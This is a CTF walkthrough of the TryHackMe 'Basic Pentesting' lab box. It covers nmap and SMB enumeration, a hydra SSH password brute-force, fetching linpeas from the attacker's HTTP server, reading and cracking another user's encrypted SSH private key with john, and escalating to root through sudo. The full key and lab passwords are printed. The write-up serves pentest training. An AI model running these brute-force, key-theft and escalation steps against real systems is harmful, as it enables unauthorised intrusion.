This is my write-up for the room Basic Pentesting on TryHackMe. You can also find this CTF on Vulnhub here.
P.S: I highly encourage you to try solving the challenges on your own first then check this writeup if you are stuck.
Reconnaissance
Target = 10.10.76.199
Enumeration / Scanning
Let’s start with an initial Nmap scan.
Service / Port Enumeration
# nmap -oN initialscan.nmap -sS -sV -T4 10.10.76.199
# Nmap 7.91 scan initiated Fri Sep 3 17:10:15 2021 as: nmap -oN initialscan.nmap -sS -sV -T4 10.10.76.199
Nmap scan report for 10.10.76.199
Host is up (0.31s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 3 17:10:36 2021 -- 1 IP address (1 host up) scanned in 20.42 seconds
The Nmap scan gives us 6 ports or services.
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80 | open | http | Apache httpd 2.4.18 ((Ubuntu)) |
| 139 | open | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 445 | open | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
| 8009 | open | ajp13 | Apache Jserv (Protocol v1.3) |
| 8080 | open | http | Apache Tomcat 9.0.7 |
Web enumeration
Let’s enumerate the webserver running on port 80. If we visit the site we receive a message stating the site is “Undergoing maintenance - Please check back later.”
Nothing really to see here so let’s do a directory scan on the site using feroxbuster.
# feroxbuster -u http://10.10.76.199 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 200 -C 403 -x txt,php,log,html,bak -o feroxbuster.scan
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.76.199
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💢 Status Code Filters │ [403]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💾 Output File │ feroxbuster.scan
💲 Extensions │ [txt, php, log, html, bak]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 318c http://10.10.76.199/development
200 10l 24w 158c http://10.10.76.199/index.html
200 9l 89w 483c http://10.10.76.199/development/dev.txt
200 7l 42w 235c http://10.10.76.199/development/j.txt
[####################] - 51s 56424/56424 0s found:4 errors:123
[####################] - 41s 28212/28212 694/s http://10.10.76.199
[####################] - 40s 28212/28212 709/s http://10.10.76.199/development
We found the following:
- /development/ (Hidden dir)
- dev.txt
- j.txt
Let’s open a web browser and take a look at the contents of the dev.txt and j.txt files.
dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!).
Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
Okay, so we can see some version info (2.5.12) being shared as well as SMB being recently set up.
j.txt
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
Interesting. SMB mentioned and a weak hash for one of the users exists on the system.
SMB enumeration
Looking back at our Nmap results and seeing SMB/445 is open on the target we can logically assume that SMB might be potentially vulnerable to misconfiguration exploitation or user credentials could be cracked.
Enum4linux is a tool we can use to enumerate SMB shares. If you want some training on the usage of this tool I highly would recommend you check out the Network Services room on TryHackMe here. That said, the most often syntax used is:
enum4linux -A ipaddress
-A means full enumeration
# enum4linux -A 10.10.76.199
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Sep 4 15:29:57 2021
==========================
| Target Information |
==========================
Target ........... 10.10.76.199
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 10.10.76.199 |
=====================================================
[+] Got domain/workgroup name: WORKGROUP
=============================================
| Nbtstat Information for 10.10.76.199 |
=============================================
Looking up status of 10.10.76.199
BASIC2 <00> - B <ACTIVE> Workstation Service
BASIC2 <03> - B <ACTIVE> Messenger Service
BASIC2 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 10.10.76.199 |
======================================
[+] Server 10.10.76.199 allows sessions using username '', password ''
============================================
| Getting domain SID for 10.10.76.199 |
============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 10.10.76.199 |
=======================================
[+] Got OS info for 10.10.76.199 from smbclient:
[+] Got OS info for 10.10.76.199 from srvinfo:
BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
platform_id : 500
os version : 6.1
server type : 0x809a03
==========================================
| Share Enumeration on 10.10.76.199 |
==========================================
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.76.199
//10.10.76.199/Anonymous Mapping: OK, Listing: OK
//10.10.76.199/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=====================================================
| Password Policy Information for 10.10.76.199 |
=====================================================
[+] Attaching to 10.10.76.199 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] BASIC2
[+] Builtin
[+] Password Info for Domain: BASIC2
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length:
========================================================================
| Users on 10.10.76.199 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
Quite a lot of output I know but let’s digest these results.
- Determined the OS is Ubuntu
- Determined there is a sharename called Anonymous
- Determined Password policy is weak as there is no password complexity or minimum password length policies in place.
- Determined two users kay and jan exist on the target
From here let’s connect to the Anonymous SMB share using the following credentials.
Username: anonymous
Password: BLANK
# sudo smbclient //10.10.76.199/Anonymous -U Anonymous -p 445
Enter WORKGROUP\Anonymous's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 19 12:31:20 2018
.. D 0 Thu Apr 19 12:13:06 2018
staff.txt N 173 Thu Apr 19 12:29:55 2018
c
14318640 blocks of size 1024. 11088788 blocks available
Okay, there is a staff.txt file in the share. Let’s download it and output the contents.
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
# cat staff.txt
Announcement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-Kay
Here we find another message confirming the users jan and kay. Jan seems like an irresponsible user. So what can we do with this information gathered so far?
Well, we have a list of users and all we lack is the password(s) to these accounts to gain access.
Gaining Access / Exploitation
We can use hydra to perform a dictionary attack against the user jan to obtain the password.
# sudo hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt 10.10.76.199 ssh
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 16:10:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.76.199:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344355 to do in 5433:29h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 14344315 to do in 8538:17h, 4 active
[STATUS] 27.29 tries/min, 191 tries in 00:07h, 14344208 to do in 8761:44h, 4 active
[STATUS] 26.93 tries/min, 404 tries in 00:15h, 14343995 to do in 8876:15h, 4 active
[22][ssh] host: 10.10.76.199 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 16:40:04
Now we have credentials for the user jan. Let’s login through SSH.
Username: jan
Password: armando
# ssh jan@10.10.76.199
The authenticity of host '10.10.76.199 (10.10.76.199)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.76.199' (ECDSA) to the list of known hosts.
jan@10.10.76.199's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$
We have successfully logged in as jan. Now that we’ve got a good initial foothold let’s look around and figure out ways to escalate privileges.
Maintaining Access / Priviledge Escalation
I used a tool called Linpeas to automate this process of find methods of privesc.
First, we need to get this tool on the target system.
Host
# cd toolbox/ # Navigate to where linpeas.sh file is contained
# python3 -m http.server 80 # Start local HTTP server
Victim
$ cd /tmp/ # Navigate to the tmp folder where all read write access is allowed
$ wget 10.10.10.10/toolbox/linpeas.sh # Download linpeas.sh from Host
--2021-09-04 18:13:08-- http://10.10.10.10/toolbox/linpeas.sh
Connecting to 10.10.10.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 470149 (459K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[==============================================>] 459.13K 124KB/s in 3.7s
2021-09-04 18:13:12 (124 KB/s) - ‘linpeas.sh’ saved [470149/470149]
jan@basic2:/tmp$
Now let’s run linpeas.sh and see what result we get.
$ chmod +x linpeas.sh
$ ./linpeas.sh
...
══════════╣ Searching SSL/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)
id_dsa* Not Found
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
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3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
-rw-r--r-- 1 kay kay 771 Apr 19 2018 /home/kay/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!
known_hosts Not Found
authorized_hosts Not Found
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 /home/kay/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzAsDwjb0ft4IO7Kyux8DWocNiS1aJqpdVEo+gfk8Ng624b9qOQp7LOWDMVIINfCuzkTA3ZugSyo1OehPc0iyD7SfJIMzsETFvlHB3DlLLeNFm11hNeUBCF4Lt6o9uH3lcTuPVyZAvbAt7xD66bKjyEUy3hrpSnruN+M0exdSjaV54PI9TBFkUmmqpXsrWzMj1QaxBxZMq3xaBxTsFvW2nEx0rPOrnltQM4bdAvmvSXtuxLw6e5iCaAy1eoTHw0N6IfeGvwcHXIlCT25gH1gRfS0/NdR9cs78ylxYTLDnNvkxL1J3cVzVHJ/ZfOOWOCK4iJ/K8PIbSnYsBkSnrIlDX27PM7DZCBu+xhIwV5z4hRwwZZG5VcU+nDZZYr4xtpPbQcIQWYjVwr5vF3vehk57ymIWLwNqU/rSnZ0wZH8MURhVFaNOdr/0184Z1dJZ34u3NbIBxEV9XsjAh/L52Dt7DNHWqUJKIL1/NV96LKDqHKCXCRFBOh9BgqJUIAXoDdWLtBunFKu/tgCz0n7SIPSZDxJDhF4StAhFbGCHP9NIMvB890FjJE/vys/PuY3efX1GjTdAijRa019M2f8d0OnJpktNwCIMxEjvKyGQKGPLtTS8o0UAgLfV50Zuhg7H5j6RAJoSgFOtlosnFzwNuxxU05ozHuJ59wsmn5LMK97sbow== I don't have to type a long password anymore!
Port 22
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes
══╣ Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
...
In the user kay directory there is a private RSA SSH key. We can use this key to authenticate through SSH as kay but first, the SSH key is encrypted with a passphrase and must be cracked.
We can do this with 2 tools:
ssh2john.pyis a python script that converts the SSH key into a usable hashjohnthe infamous password cracking tool John the Ripper to crack the hash
- First we need to save the SSH key to our Host/Attacker machine.
jan@basic2:/tmp$ cat /home/kay/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUdON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKKbO+SflgXBaHXb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibhl
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XlWR+4HxbotpJx6RVByEPZ/kViOq3S1
GpwHSRZon320xA4hOPkcG66JDyHlS6B328uViI6Da6frYiOnA4TEjJTPO5RpcSEK
QKIg65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUr0qCVo8+mS8X75seeoNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGXnNw3tbmD8wGveG
VfNSaExXeZA39jOgm3VboN6cAXpz124Kj0bEwzxCBzWKi0CPHFLYuMoDeLqP/NIk
oSXloJc8aZemIl5RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1IiFdsMO4nUnyJ3
z+3XTDtZoUl5NiY4JjCPLhTNNjAlqnpcOaqad7gV3RD/asml2L2kB0UT8PrTtt+S
baXKPFH0dHmownGmDatJP+eMrc6S896+HAXvcvPxlKNtI7+jsNTwuPBCNtSFvo19
l9+xxd55YTVo1Y8RMwjopzx7h8oRt7U+Y9N/BVtbt+XzmYLnu+3qOq4W2qOynM2P
nZjVPpeh+8DBoucB5bfXsiSkNxNYsCED4lspxUE4uMS3yXBpZ/44SyY8KEzrAzaI
fn2nnjwQ1U2FaJwNtMN5OIshONDEABf9Ilaq46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7M+mli5ZX76snfJE9suva3ehHP2AeN5hWDMw
X+CuDSIXPo10RDX+OmmoExMQn5xc3LVtZ1RKNqono7fA21CzuCmXI2j/LtmYwZEL
OScgwNTLqpB6SfLDj5cFA5cdZLaXL1t7XDRzWggSnCt+6CxszEndyUOlri9EZ8XX
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DwOy3Zfl0l1FL6ag0iVwTrPBl1GGQoXf4wMbwv9bDF0Zp/6uatViV1dHeqPD8Otj
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Eu/lP8xQlxmmpvPsDACMtqA1IpoVl9m+a+sTRE2EyT8hZIRMiuaaoTZIV4CHuY6Q
3QP52kfZzjBt3ciN2AmYv205ENIJvrsacPi3PZRNlJsbGxmxOkVXdvPC5mR/pnIv
wrrVsgJQJoTpFRShHjQ3qSoJ/r/8/D1VCVtD4UsFZ+j1y9kXKLaT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUYD79guGh3He5Y7bl+mdXKNZLMlzOnauC5bKV4i+Yuj7
AGIExXRIJXlwF4G0bsl5vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdaMZSnOSyHXuVlB4Jn5
phQL3R8OrZETsuXxfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6al6WYdI9i2+uNR
ogjvVVBVVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAaDk9dBQcV
ev6cTcfzhBhyVqml1WqwDUZtROTwfl80jo8QDlq+HE0bvCB/o2FxQKYEtgfH4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F3O7iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTrO7GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtaNH0mTLnpjfNLVJCDHl0hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----
Copy and paste the key onto your host machine and modify the permissions of the file.
# nano id_rsa # Copy and paste the key and save it as id_rsa
# chmod 600 id_rsa
- Next we need to locate the
ssh2john.pyscript and convert the SSH key into a usable hash.
# locate ssh2john
/usr/share/john/ssh2john.py
# /usr/share/john/ssh2john.py id_rsa > id.hash
- Now we can crack the hash with
john
# sudo john id.hash -wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2021-09-04 17:45) 0.4629g/s 6639Kp/s 6639Kc/s 6639KC/sa6_123..*7¡Vamos!
Session completed
Passphrase: beeswax
Now we can try to login as kay from jan using the command below
jan@basic2:~$ ssh kay@10.10.76.199 -i /home/kay/.ssh/id_rsa
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.76.199 (10.10.76.199)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '/home/kay/.ssh/id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Sat Sep 4 18:37:44 2021 from 10.10.10.10
kay@basic2:~$
We have successfully logged in as kay. Upon checking the directories we find a file called pass.bk.
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$
We have the flag to complete the room. That said, we can also privesc to root with this user.
Confirming kay has sudoer permissions
kay@basic2:~$ sudo -l
[sudo] password for kay:
Matching Defaults entries for kay on basic2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALL
kay@basic2:~$
The user kay has access to ALL commands so we can invoke one final command to get root.
kay@basic2:~$ sudo su
root@basic2:/home/kay# cd /root/
root@basic2:~# whoami
root
root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge.
There are two ways (that I'm aware of) to gain a shell, and two ways to privesc. I encourage you to find them all!
If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.
Thanks for taking the time to solve this VM. If you choose to create a write-up, I hope you'll send me a link!
I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach out to me.
Happy hacking!
root@basic2:~#
Conclusion
So what can we learn from this?
- Service misconfigurations can lead to potential exploits
- Enforce password policy and password complexity
- Incorrect file permissions can cause a machine to be compromised regardless of security practices